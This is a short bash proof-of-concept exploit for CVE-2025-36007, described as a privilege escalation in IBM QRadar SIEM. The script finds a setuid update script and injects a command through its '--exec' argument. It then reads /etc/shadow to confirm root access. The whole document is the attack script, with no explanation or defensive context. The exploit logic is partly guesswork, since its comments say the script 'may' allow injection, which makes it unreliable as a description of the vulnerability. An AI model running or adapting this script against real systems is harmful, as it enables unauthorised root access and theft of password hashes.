CVE-2025-36007

#!/bin/bash # CVE-2025-36007 PoC - IBM QRadar SIEM Privilege Escalation # This PoC demonstrates the privilege escalation via improper update script permissions # Find the vulnerable update script with improper permissions VULN_SCRIPT=$(find /opt/qradar/bin -name '*update*.sh' -perm -4000 2>/dev/null | head -1) if [ -z "$VULN_SCRIPT" ]; then echo "[!] Vulnerable update script not found" exit 1 fi echo "[+] Found vulnerable script: $VULN_SCRIPT" echo "[+] Current user: $(whoami)" echo "[+] Current UID: $(id)" # Execute the script with elevated privileges # The script may allow command injection or direct privilege escalation $VULN_SCRIPT --exec "$(whoami) > /tmp/pwned" # Verify privilege escalation if [ -f /tmp/pwned ]; then echo "[!] Privilege escalation successful!" echo "[+] Checking elevated privileges..." id cat /etc/shadow 2>/dev/null && echo "[+] Root access confirmed" else echo "[*] Privilege escalation attempt completed, check manually" fi

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